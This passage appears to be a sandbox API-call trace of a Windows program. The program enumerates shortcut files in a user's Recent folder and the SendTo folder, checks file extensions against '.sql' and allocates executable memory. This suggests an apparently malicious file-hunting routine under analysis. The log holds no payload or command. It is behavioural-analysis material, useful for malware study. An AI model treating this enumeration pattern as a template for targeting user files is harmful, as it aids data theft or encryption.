param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y8Dt5yt-qFapkL0CAmn.lnk") returned 86 [0054.911] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y8Dt5yt-qFapkL0CAmn.lnk") returned 86 [0054.911] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.912] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.912] lstrcmpW (lpString1="Yao_HXWP.lnk", lpString2=".") returned 1 [0054.912] lstrcmpW (lpString1="Yao_HXWP.lnk", lpString2="..") returned 1 [0054.912] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Yao_HXWP.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yao_HXWP.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yao_HXWP.lnk" [0054.912] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.912] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yao_HXWP.lnk") returned 75 [0054.912] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Yao_HXWP.lnk") returned 75 [0054.912] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.912] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.912] lstrcmpW (lpString1="YctSMdD9.lnk", lpString2=".") returned 1 [0054.912] lstrcmpW (lpString1="YctSMdD9.lnk", lpString2="..") returned 1 [0054.912] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="YctSMdD9.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YctSMdD9.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YctSMdD9.lnk" [0054.912] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.912] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YctSMdD9.lnk") returned 75 [0054.912] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YctSMdD9.lnk") returned 75 [0054.912] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.913] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.913] lstrcmpW (lpString1="yk_ykl4.lnk", lpString2=".") returned 1 [0054.913] lstrcmpW (lpString1="yk_ykl4.lnk", lpString2="..") returned 1 [0054.913] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="yk_ykl4.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yk_ykl4.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yk_ykl4.lnk" [0054.913] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.913] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yk_ykl4.lnk") returned 74 [0054.913] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yk_ykl4.lnk") returned 74 [0054.913] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.913] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.913] lstrcmpW (lpString1="Ymssxu72LfvGM.lnk", lpString2=".") returned 1 [0054.913] lstrcmpW (lpString1="Ymssxu72LfvGM.lnk", lpString2="..") returned 1 [0054.913] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Ymssxu72LfvGM.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ymssxu72LfvGM.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ymssxu72LfvGM.lnk" [0054.913] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.913] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ymssxu72LfvGM.lnk") returned 80 [0054.913] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Ymssxu72LfvGM.lnk") returned 80 [0054.913] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.913] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.913] lstrcmpW (lpString1="yWYXQBe8hOW.lnk", lpString2=".") returned 1 [0054.913] lstrcmpW (lpString1="yWYXQBe8hOW.lnk", lpString2="..") returned 1 [0054.913] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="yWYXQBe8hOW.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yWYXQBe8hOW.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yWYXQBe8hOW.lnk" [0054.913] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.914] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yWYXQBe8hOW.lnk") returned 78 [0054.914] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yWYXQBe8hOW.lnk") returned 78 [0054.914] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.914] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.914] lstrcmpW (lpString1="yx09evjd3tm-ElFRU4jJ.lnk", lpString2=".") returned 1 [0054.914] lstrcmpW (lpString1="yx09evjd3tm-ElFRU4jJ.lnk", lpString2="..") returned 1 [0054.914] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="yx09evjd3tm-ElFRU4jJ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yx09evjd3tm-ElFRU4jJ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yx09evjd3tm-ElFRU4jJ.lnk" [0054.914] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.914] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yx09evjd3tm-ElFRU4jJ.lnk") returned 87 [0054.914] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yx09evjd3tm-ElFRU4jJ.lnk") returned 87 [0054.914] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.914] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.914] lstrcmpW (lpString1="yzRhhBR e0eN.lnk", lpString2=".") returned 1 [0054.914] lstrcmpW (lpString1="yzRhhBR e0eN.lnk", lpString2="..") returned 1 [0054.914] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="yzRhhBR e0eN.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yzRhhBR e0eN.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yzRhhBR e0eN.lnk" [0054.914] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.914] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yzRhhBR e0eN.lnk") returned 79 [0054.914] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yzRhhBR e0eN.lnk") returned 79 [0054.914] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.915] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.915] lstrcmpW (lpString1="zbt 1EdBZB.lnk", lpString2=".") returned 1 [0054.915] lstrcmpW (lpString1="zbt 1EdBZB.lnk", lpString2="..") returned 1 [0054.915] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="zbt 1EdBZB.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zbt 1EdBZB.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zbt 1EdBZB.lnk" [0054.915] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.915] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zbt 1EdBZB.lnk") returned 77 [0054.915] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zbt 1EdBZB.lnk") returned 77 [0054.915] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.915] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.915] lstrcmpW (lpString1="ZDva7C73jglno2II.lnk", lpString2=".") returned 1 [0054.915] lstrcmpW (lpString1="ZDva7C73jglno2II.lnk", lpString2="..") returned 1 [0054.915] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ZDva7C73jglno2II.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDva7C73jglno2II.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDva7C73jglno2II.lnk" [0054.915] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.915] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDva7C73jglno2II.lnk") returned 83 [0054.915] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDva7C73jglno2II.lnk") returned 83 [0054.915] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.915] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.915] lstrcmpW (lpString1="ZgA4eFUdQ2ea.lnk", lpString2=".") returned 1 [0054.915] lstrcmpW (lpString1="ZgA4eFUdQ2ea.lnk", lpString2="..") returned 1 [0054.915] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ZgA4eFUdQ2ea.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZgA4eFUdQ2ea.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZgA4eFUdQ2ea.lnk" [0054.915] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.916] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZgA4eFUdQ2ea.lnk") returned 79 [0054.916] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZgA4eFUdQ2ea.lnk") returned 79 [0054.916] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.916] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.916] lstrcmpW (lpString1="ZHBVSc7E1Gs.lnk", lpString2=".") returned 1 [0054.916] lstrcmpW (lpString1="ZHBVSc7E1Gs.lnk", lpString2="..") returned 1 [0054.916] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ZHBVSc7E1Gs.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZHBVSc7E1Gs.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZHBVSc7E1Gs.lnk" [0054.916] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.916] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZHBVSc7E1Gs.lnk") returned 78 [0054.916] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZHBVSc7E1Gs.lnk") returned 78 [0054.916] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.916] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.916] lstrcmpW (lpString1="zQ2RNryyQvoJvOOlXhWv.lnk", lpString2=".") returned 1 [0054.916] lstrcmpW (lpString1="zQ2RNryyQvoJvOOlXhWv.lnk", lpString2="..") returned 1 [0054.916] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="zQ2RNryyQvoJvOOlXhWv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zQ2RNryyQvoJvOOlXhWv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zQ2RNryyQvoJvOOlXhWv.lnk" [0054.916] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.916] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zQ2RNryyQvoJvOOlXhWv.lnk") returned 87 [0054.916] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zQ2RNryyQvoJvOOlXhWv.lnk") returned 87 [0054.916] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.917] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.917] lstrcmpW (lpString1="ZV1D_nCny.lnk", lpString2=".") returned 1 [0054.917] lstrcmpW (lpString1="ZV1D_nCny.lnk", lpString2="..") returned 1 [0054.917] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ZV1D_nCny.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZV1D_nCny.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZV1D_nCny.lnk" [0054.917] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.917] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZV1D_nCny.lnk") returned 76 [0054.917] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZV1D_nCny.lnk") returned 76 [0054.917] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.917] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.917] lstrcmpW (lpString1="_gco.lnk", lpString2=".") returned 1 [0054.917] lstrcmpW (lpString1="_gco.lnk", lpString2="..") returned 1 [0054.917] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="_gco.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_gco.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_gco.lnk" [0054.917] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.917] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_gco.lnk") returned 71 [0054.917] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_gco.lnk") returned 71 [0054.917] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.917] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.917] lstrcmpW (lpString1="_K46etKVMAaI10T6boQ.lnk", lpString2=".") returned 1 [0054.917] lstrcmpW (lpString1="_K46etKVMAaI10T6boQ.lnk", lpString2="..") returned 1 [0054.917] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="_K46etKVMAaI10T6boQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_K46etKVMAaI10T6boQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_K46etKVMAaI10T6boQ.lnk" [0054.917] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.918] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_K46etKVMAaI10T6boQ.lnk") returned 86 [0054.918] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_K46etKVMAaI10T6boQ.lnk") returned 86 [0054.918] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.918] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.918] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0054.918] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.918] lstrcmpW (lpString1="SendTo", lpString2=".") returned 1 [0054.918] lstrcmpW (lpString1="SendTo", lpString2="..") returned 1 [0054.918] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="SendTo" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo" [0054.918] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\" [0054.918] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.918] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.918] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.918] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.918] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.918] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.918] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\") returned 63 [0054.918] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*" [0054.918] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8870 [0054.919] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.919] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.919] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.919] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.919] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.919] lstrcmpW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2=".") returned 1 [0054.919] lstrcmpW (lpString1="Compressed (zipped) Folder.ZFSendToTarget", lpString2="..") returned 1 [0054.919] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Compressed (zipped) Folder.ZFSendToTarget" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" [0054.919] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned 104 [0054.919] lstrcmpW (lpString1=".ZFSendToTarget", lpString2=".sql") returned 1 [0054.919] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.920] lstrcmpW (lpString1="Desktop (create shortcut).DeskLink", lpString2=".") returned 1 [0054.920] lstrcmpW (lpString1="Desktop (create shortcut).DeskLink", lpString2="..") returned 1 [0054.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Desktop (create shortcut).DeskLink" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" [0054.920] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned 97 [0054.920] lstrcmpW (lpString1=".DeskLink", lpString2=".sql") returned -1 [0054.920] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.920] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.920] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" [0054.920] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned 74 [0054.920] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.920] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.920] lstrcmpW (lpString1="Documents.mydocs", lpString2=".") returned 1 [0054.920] lstrcmpW (lpString1="Documents.mydocs", lpString2="..") returned 1 [0054.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Documents.mydocs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs" [0054.920] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs") returned 79 [0054.920] lstrcmpW (lpString1=".mydocs", lpString2=".sql") returned -1 [0054.920] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.920] lstrcmpW (lpString1="Fax Recipient.lnk", lpString2=".") returned 1 [0054.920] lstrcmpW (lpString1="Fax Recipient.lnk", lpString2="..") returned 1 [0054.920] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\", lpString2="Fax Recipient.lnk" | out: 